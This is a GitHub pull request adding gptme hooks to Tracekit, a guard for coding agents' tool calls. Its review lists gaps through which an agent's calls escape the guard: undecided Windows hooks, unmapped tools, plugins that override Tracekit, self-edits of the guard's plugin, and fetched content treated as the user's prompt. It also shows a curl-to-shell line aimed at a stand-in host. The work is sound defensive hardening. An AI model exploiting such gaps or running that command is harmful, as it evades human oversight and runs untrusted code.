Repository navigation
Add gptme hooks for Tracekit - #778
Conversation
Signed-off-by: Sourav Chandhok <souravchandhok01@gmail.com>
Signed-off-by: sourav chandhok <souravchandhok01@gmail.com>
Signed-off-by: sourav chandhok <souravchandhok01@gmail.com>
Signed-off-by: sourav chandhok <souravchandhok01@gmail.com>
…gent/issue-574 Signed-off-by: sourav chandhok <114119117+souravC01@users.noreply.github.com> # Conflicts: # README.md # docs/coding-agents.md # eval/results/e17_policy_corpus.json # eval/results/e21_policy_robustness.json # eval/results/e21_robustness.json # tests/test_agent_hooks.py # tests/test_harness_hooks_v2.py # tests/test_install_files.py # tracekit/agent_hooks.py # tracekit/doctor.py # tracekit/integrations/harness_hooks.py # tracekit/policy2/packs/coding.yaml
LoopGlitch26
left a comment
There was a problem hiding this comment.
Checked against gptme v0.36.0's source (tag a96a205) and main. #574 backs this, and the recordings answer most of its step-1 questions. The asks, most important first. Line numbers are at 4c10cf6.
-
On Windows a dev hook lets every call run undecided.
tracekit/agent_hooks.py:1173builds the command with_dev_hook_argv(module, "entry", ("gptme",)), and the plugin appends the event (tracekit/_gptme_plugin.py:29). On Windows the-cform writesentry('gptme')into the code and ignores any argument after it. An editable or--userinstall gets this form, so the event never arrives. The payload has nohook_event_name(_gptme_plugin.py:45-49), sonormalisereturns None, the hook exits 0 and_confirmreturnsconfirm(). I checked the shared path on main:harness_hooks.run("devin", payload, event=None)exits 0, whileevent="PreToolUse"blocks. Done: each command carries its event (one command per event, as OpenCode's plugin does) or the payload carries it, and a test builds the command the Windows way and shows a denied call is skipped. -
Send the tool name gptme runs.
_payloadsendscall.toolas written (_gptme_plugin.py:48). In the XML tool format the name is the tag, and gptme'sget_toolalso matches block types, so<py>…</py>runs IPython (base.py L1405, tools/init.py L1025). The hook seespy, an unknown tool. On main'sdev.yamlthat call is flagged and runs, and TK-A061 doesn't hold it. Done: the plugin sendsget_tool(call.tool).namewhen gptme has the tool, with a test forpy. -
Tools that ask for confirmation but pass through as unknown tools (
tracekit/agent_hooks.py:287). In 0.36.0 these are on by default:patch_many(always),tmux(when tmux is installed) andmorph(with an OpenRouter key).mcp loadstarts an MCP server, andhashline_editasks when enabled. On main'sdev.yaml:- a markdown
tmuxcallnew-session 'curl -s https://x.example/i.sh | sh'is flagged and runs, while the same line throughshellis denied (TK-D002); patch_manyon~/.config/gptme/plugins/tracekit/hooks/bridge.pyis flagged and runs, so an agent can rewrite Tracekit's own plugin without the TK-F009 hold;morphon.claude/settings.jsonis flagged and runs.
Done:
tmuxis decided asBashon the command eachnew-sessionandsend-keysruns (as Codex'swrite_stdinis).patch_manyis decided asEditon every path (markdownargs,=== PATH: … ===headers, nativepatches[].path).morphis decided asEditonpath.mcp loadis held. Each has a recorded case. - a markdown
-
Name the tools that never ask in the limits row (
docs/limits.md:153). Besidesreadandbrowser:ghis on wheneverghis installed. It passes any gh command to the CLI and merges PRs itself, with no confirmation (gh.py L545, L619). Sogh pr mergeorgh api -X DELETE …isn't decided, though the same command throughshellis.convertwrites itsoutput_path.- gptme runs the repository's pre-commit hooks itself after edits when a
.pre-commit-config.yamlexists (precommit.py L73).
v1 records none of these. Done: the row names them and says v1 records nothing. Its what-to-do gives a
gptme -ttool list that leaves outghandconvert. -
Other hooks can answer before Tracekit. gptme takes the first
TOOL_CONFIRManswer that isn't None, ordered by priority and then by name, both descending. A hook registered under an existing name replaces the earlier one (confirm.py L238, registry.py L149). So any of these decides instead of Tracekit:- a plugin above 1000;
- a plugin at 1000 whose name sorts after
tracekit.confirm; - a plugin whose hook is named
tracekit.confirm.
A project's
gptme.tomlcan add plugin paths, and entry-point plugins load from gptme's environment. Such a call reaches_postwith no decision, and v2 records it as an untrusted observation (_gptme_plugin.py:93-97), the same as aread. Done:- Tracekit's hook registers above any priority gptme's docs use;
- a call with no Tracekit decision is recorded under a source of its own that says it ran undecided;
- a limits row covers the override;
- a row of its own says what Tracekit's allow skips: the editor, and gptme's guardrail under
GPTME_GUARDRAILS=enforce. Today that is inside the IPython row (docs/limits.md:155).
-
The prompt is recorded as the person's (
_gptme_plugin.py:57-63).TURN_PREfires afterinclude_paths. That step appends the contents of@pathfiles and, in a non-interactive run, of every URL in the prompt (context.py L798). Piped stdin is folded into the first prompt (cli/main.py L1173). All of it is sent asUserPromptSubmit, recorded as trusted and read for live constraints. So a file the agent wrote earlier, or a fetched page, is recorded as typed by the person. Qwen Code's hook readssubmitted_prompt, taken before @file expansion, for this reason (agent_hooks.normalise). Done:- only typed text is recorded as trusted, and the whole turn goes as untrusted when the plugin can't separate it;
- a test uses a recorded turn with an
@file; - a limits row like Factory Droid's.
-
Run the recordings through
check("gptme"). Intests/data/harness/gptme.jsoneach case'spayloadandrequest.argsare made up and don't match the code.hook_event_name: "tool.confirm"is an eventnormaliseignores. "shell allowed in markdown format" expects{content, args, command}, but_gptme_toolsends{command}. No test reads those fields.test_gptme_recorded_confirmations_reach_the_signer(tests/test_harness_hooks_v2.py:172) checks only the tool name (MCP's is hard-coded) and skips the Windows samples. Done: as incline.json, each case'spayloadis what the plugin sends for a recordedToolUsein each format, andrequestis the exact decide request (tool, args, id).self.check("gptme")runs them. The raw events can stay beside them. -
Init with an existing
[plugins]table prints only thepathsline (tracekit/agent_hooks.py:1210). With the test's own config,enabled = ["other"], adding that line still leaves Tracekit out. Done: init also prints theenabledline when the user's list isn't empty and lackstracekit, and the test checks it. Printing instead of merging carries thelean:comment the issue asked for. -
Doctor's probe can run a project's file (
tracekit/doctor.py:272-290).shutil.which("gptme")follows relativePATHentries. In a cloned repository with.onPATH, doctor would run that repository'spython, butdocs/doctor.mdsays doctor runs none of a project's code. When no Python sits next to the launcher, doctor falls back to its ownsys.executable. That Python usually has no gptme, so doctor reports that gptme failed to load. Done: doctor probes only a launcher at an absolute path outside the working directory. Otherwise the row says doctor couldn't find gptme's Python. -
Merge main. The branch conflicts with main in 12 files since Cline (#732) landed, so GitHub hasn't run CI on this head. After the merge:
- the README counts follow
tests/test_readme.py: 36 and "another of the 14", counting Cline; coding.yamlmoves above main's2026.11-v2-81and the eval results are regenerated;- TK-A061 is also used by open #663, so one of the two renumbers;
- gptme's settings paths join the harness-settings row in
docs/limits.md(theTK-F009one); - the gptme column in
docs/coding-agents.mdsays that other tools pass through under their own names.
- the README counts follow
-
--projectand system mode.config_pathignores--projectfor gptme, soinit --project --agent gptmewrites the user's config. System mode (init --v2 --user AGENT --agent gptme) writes the plugin into the agent user's own~/.config/gptme, and doctor skips it there. Done: init refuses both for gptme, or the docs say what each does and a test covers it.
The README.md edits (the badge count, the list and "another of the N") need the maintainer's OK.
|
A correction to item 10 of the review above. You merged main in |
Signed-off-by: sourav chandhok <114119117+souravC01@users.noreply.github.com>
|
I pushed the review fixes in 178fa89. In WSL, 53 tests passed, all three policy evals matched, and the live gptme checks blocked sudo both with and without -y. Both runs produced verified signed bundles. Could you approve the new workflow runs and take another look when you have a chance? |
|
Re-checked at Items 1 to 9 and 11 are done. I also ran the plugin in a real gptme 0.36.0 session through What's left. Each is small, and we can make them on the branch if you'd rather:
|
Signed-off-by: sourav chandhok <114119117+souravC01@users.noreply.github.com>
|
Thanks for the follow-up review. I pushed 6a9f1da to address the three CI failures, show approval instructions in gptme’s terminal, and preserve the background flag on native shell calls. I also documented the v1 approval limits. The 20 targeted tests passed locally on Python 3.9, 3.10, and 3.12. Could you approve the new workflow run when you get a chance? |
Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land with cline and codebuddy in its first policy merge train: the skill names all five among the agents it sets up. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
|
Checked 6a9f1da. All of it is in:
CI is approved and running. This lands with the other policy PRs in one batch (rule ids and the pack version are settled there). Your commits stay as they are, and this PR will show as merged. |
|
This lands in #799 (a merge train of the policy PRs), which renumbers rule ids and re-records the evals once; your commits stay as they are and this PR will show as merged. |
* tracekit-setup: the cline and codebuddy agents Tracekit's init takes --agent cline (Cygnux-Labs/Tracekit#732) and --agent codebuddy (Cygnux-Labs/Tracekit#757): the skill names both among the agents it sets up, so it no longer tells the operator they aren't supported. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com> * tracekit-setup: the gptme, openhands and copilot agents Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land with cline and codebuddy in its first policy merge train: the skill names all five among the agents it sets up. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com> --------- Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
|
Merged in #799, the batch that landed the policy PRs together. Tracekit now guards gptme through its confirm hook: shell, IPython, tmux, patches and MCP loads are decided before they run, and a hold now shows its reason in gptme's terminal. It ships in the next release. Thank you. If you would like another one close to this: hooks for another agent, #698 (Open Interpreter) or #720 (jcode). Both are unclaimed, and the gptme work is the closest model for either. A request: if you use a coding agent (Claude Code, Codex, Cursor, Gemini CLI or OpenCode), would you run Tracekit on it for a week, on your own projects? After a week, Three issues stay open to anyone, any time (https://github.com/Cygnux-Labs/Tracekit/issues?q=is%3Aissue%20is%3Aopen%20label%3A%22open%20to%20many%22): a field report of what Tracekit would have held in your last week of agent work, a harmful tool call the packs let through, or a harmless call they hold by mistake. Each is a one-file PR or a pasted report. |
…elease_agent writes) into the policy train Conflicts: docs/policy-v2.md's ask row (Cygnux-Labs#780's TK-A063 to TK-A066 and Cygnux-Labs#787's TK-A067/TK-A068: kept both); tests/data/policy shell corpora (Cygnux-Labs#783's and Cygnux-Labs#780's new cases: kept both); README, docs/evaluation.md and docs/limits.md E17/E21 counts, coding.yaml's version and the E17/E21 results (kept this side's; the settle commit re-records them and sets the counts). Cygnux-Labs#780's TK-A063 to TK-A065 now share ids with Cygnux-Labs#778's: the settle commit renumbers them. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
…K-A061) into the policy train Cygnux-Labs#781 carries Cygnux-Labs#780's head, merged above. Conflicts: docs/policy-v2.md (Cygnux-Labs#781's TK-A061 row text and Cygnux-Labs#778's gptme row: kept both); README, docs/evaluation.md and docs/limits.md E17/E21 counts and the blind-pool table (kept this side's, which has main's four pools), coding.yaml's version and the E17/E21 results (kept this side's; the settle commit re-records them and sets the counts). Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
Conflicts, all kept both sides (gptme from Cygnux-Labs#778, OpenHands from Cygnux-Labs#662): AGENT_NAMES, tool(), normalise()'s Claude Code payload list, harness_hooks' docstring and said_since list; coding.yaml's harness_config patterns (TK-F009, TK-F015: Cygnux-Labs#778's gptme paths and Cygnux-Labs#662's .openhands); the docs/coding-agents.md section and table (a gptme and an OpenHands column). README's --agent line, coding.yaml's version and the E17/E21 results: kept this side's (the settle commit sets them). Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
…e policy train Conflict: docs/policy-v2.md's "can't inspect" row (Cygnux-Labs#778's gptme rules and main's laptop-default wording, with Cygnux-Labs#792's "whose arguments are over 64 KiB as JSON" and `oversize: ask`: kept both). Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
Rule ids: Cygnux-Labs#780's TK-A063 to TK-A066 become TK-A071 to TK-A074, and Cygnux-Labs#788's TK-A067 to TK-A070 become TK-A075 to TK-A078 (Cygnux-Labs#778 keeps TK-A063 to TK-A065 and Cygnux-Labs#787 TK-A067 and TK-A068; TK-A066, TK-A069 and TK-A070 stay unused, so no id names two rules across the members), in the coding pack, its tests and docs. Packs: coding 2026.11-v2-82, strict 2026.11-strict-11 and dev 2026.11-dev-5, one step above main's each. dev maps Claude Code's Workflow to `harness` (TK-A062 held it as an unmapped tool given a script), with a benign test. Harness lists: gptme, OpenHands, Copilot CLI, CodeBuddy Code and Cline in AGENTS.md, README (badge 39, the --agent list, "another of the 17"), docs/coding-agents.md's init lines, docs/doctor.md, docs/integrations.md and docs/support.md; gptme's paths in TK-F009's comment. Docs: a limits row for Cygnux-Labs#788's known gaps; two bare | in Cygnux-Labs#781's limits row escaped. The plugin's SKILL.md is tracekit-skills 4bda57a. Evals re-recorded once: E17 (901 harmful stopped, 1 false alarm in 944), E21 policy robustness (held-out 279 / 420 default, 305 / 420 strict; latency rows kept as main's) and E21 robustness (901 originals and 2,701 rewrites contained). Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
What and why
Closes #574.
I added gptme support for v1 and v2. The generated plugin starts Tracekit in a separate Python process, so gptme can run in its own environment and still use the Python that
tracekit initpicked for the hook.TK-A061holds IPython cells for approval.TK-F009andTK-F015cover writes to gptme settings.I started by recording real hooks in gptme v0.36.0. I've included the redacted Markdown and native calls in
gptme.json. Markdown didn't setcall_id. Native calls had an ID. MCP tools came through asserver.tool.Shell, save, append, patch, IPython, and MCP reached
TOOL_CONFIRM. Read and browser bypass it, so v2 records their output as an untrusted observation. Even skipped calls fired the post hook. The bridge checks its own decision before recording a result.The edit probe made the choice clear for me. I edited a save call and gptme wrote the edited text, while the post hook still carried the original
ToolUse. That's why I returnconfirm()after Tracekit allows the call. It skips gptme's later confirmation hooks, including its editor.I needed a configured plugin path. A project allowlist could exclude my plugin unless the user or project explicitly enabled it. I could also read the typed prompt from the session log at
TURN_PRE.How I ran it as a user
I ran gptme v0.36.0 in WSL2 with Markdown tools and a scripted model that sent shell calls to a real Tracekit v2 dev signer. I installed the plugin with
tracekit init --dev --v2 --agent gptme, then rantracekit doctorto confirm it registered.I tried the denied shell call twice, with and without
-y. Both times the model got theTK-D001reason.blocked.txtdidn't appear. WithTRACEKIT_APPROVAL_WAIT=180, I approved a held write togptme.local.tomlfrom another terminal usingtracekit approvals approve <id>and checked that the command ran once.tracekit last --out tracekit-gptme.tkbexported and verified all three runs.Checklist
The plugin uses the existing signer and verifier paths for key custody, sequence numbers, approval identity, and evidence.